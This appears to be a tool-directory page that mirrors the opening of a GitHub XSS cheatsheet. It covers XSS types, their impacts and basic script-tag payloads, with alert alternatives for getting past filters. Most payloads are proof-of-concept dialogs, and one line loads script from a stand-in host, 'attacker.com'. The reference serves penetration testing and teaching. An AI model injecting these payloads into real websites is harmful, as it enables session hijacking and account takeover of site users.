Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
xss-cheatsheet — Comprehensive XSS reference covering reflected, stored, DOM and blind payloads, filter bypass, WAF evasion, CSP bypass, mXSS, and real-world CVE case studies. | Kitploit
Tools/GitHubGitHub/ardakocadoru/xss-cheatsheet
Web Vulnerability ScannersPayload GenerationVulnerability AnalysisWeb Application ExploitationWAF BypassWeb SecurityPenetration TestingLearning & EducationCurated Resources
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

Comprehensive XSS reference covering reflected, stored, DOM and blind payloads, filter bypass, WAF evasion, CSP bypass, mXSS, and real-world CVE case studies.

2223 months agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

⚡ XSS Cheatsheet — Cross-Site Scripting Reference

Stars License: MIT PRs Welcome Last Updated Payloads

The most comprehensive XSS reference on GitHub.
Reflected · Stored · DOM · Blind XSS — payloads, filter bypasses, WAF evasion, CSP bypass, mXSS, prototype pollution chains, and real-world CVEs. Updated for 2026.

Payloads · Filter Bypass · WAF Evasion · DOM XSS · CSP Bypass · Blind XSS · Advanced · Tools


Table of Contents

  • What is XSS?
  • XSS Types
  • Basic Payloads
    • Classic Payloads
    • Alert Alternatives
    • Without Parentheses
    • Without Spaces
    • With Quotes Stripped
  • Filter Bypass
    • Case Variation
    • Tag Obfuscation
    • Event Handler List
    • HTML Encoding
    • JavaScript Encoding
    • URL Encoding
    • Double Encoding
    • SVG Payloads
    • HTML5 Specific
    • Data URI
  • Context-Specific Payloads
    • HTML Context
    • HTML Attribute Context
    • JavaScript Context
    • JavaScript String Context
    • URL Context
    • CSS Context
    • JSON / Template Context
  • WAF Evasion
    • Cloudflare Bypass
    • ModSecurity Bypass
    • AWS WAF Bypass
    • Generic Evasion
  • CSP Bypass
    • unsafe-inline
    • script-src self
    • CDN Whitelists
    • base-uri missing
    • Dangling Markup
    • Nonce-based CSP
  • DOM-Based XSS
    • Common Sources
    • Common Sinks
    • DOM XSS Payloads
    • AngularJS Template Injection
  • Blind XSS
  • XSS Polyglots
  • XSS via File Upload
  • XSS in HTTP Headers
  • XSS to RCE
  • Advanced Techniques
    • mXSS
    • DOM Clobbering
    • Prototype Pollution to XSS
    • CSTI
  • Defense
  • Real-World CVEs
  • Tools
  • References
  • Contributing

🎯 What is XSS?

Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious scripts into content served by a trusted web application. When a victim's browser renders the page, the injected script executes with the same privileges as legitimate scripts from that origin.

Why XSS Matters

XSS is consistently in the OWASP Top 10 because the impact is severe and the attack surface is enormous:

ImpactDescription
Session HijackingSteal document.cookie and take over authenticated sessions
Account TakeoverChange email/password via forged requests using the victim's session
KeyloggingCapture every keystroke, including passwords, credit card numbers
PhishingInject fake login forms that submit credentials to attacker
DefacementModify page content to spread misinformation or embarrass the target
Malware DistributionRedirect victims to exploit kits
Crypto MiningRun cryptominers in victim browsers
SSRF / Internal Port ScanUse victim's browser to probe internal network
Credential HarvestingRead autofilled credentials from the DOM
Screenshot / WebcamCapture screen via getDisplayMedia(), webcam via getUserMedia()

The Same-Origin Policy and XSS

XSS defeats the Same-Origin Policy (SOP). Because the malicious script is served from the target origin, the browser treats it as trusted. This means XSS gives an attacker:

  • Full read/write access to the DOM
  • Access to all cookies not protected by HttpOnly
  • The ability to make authenticated XHR/fetch requests to the same origin
  • Access to localStorage and sessionStorage

🗺️ XSS Types

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
TypePersistenceWho Gets HitServer Sees Payload?
ReflectedNoTargeted victimYes
StoredYesAll visitorsYes
DOMNoTargeted victimUsually No
BlindYes (remote)Admin / backend userYes (at injection point)

💥 Basic Payloads

Classic

The foundational payloads every security researcher knows. These work where no filtering exists.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

Alert Alternatives (when alert is blocked)

Many modern applications and WAFs block the word alert. Use these alternatives:

// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>

// prompt() — shows input dialog  
<script>prompt(1)</script>

// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>

// print() — opens print dialog (noisy but visible)
<script>print()</script>

// debugger — pauses DevTools if open
<script>debugger</script>
Download Tool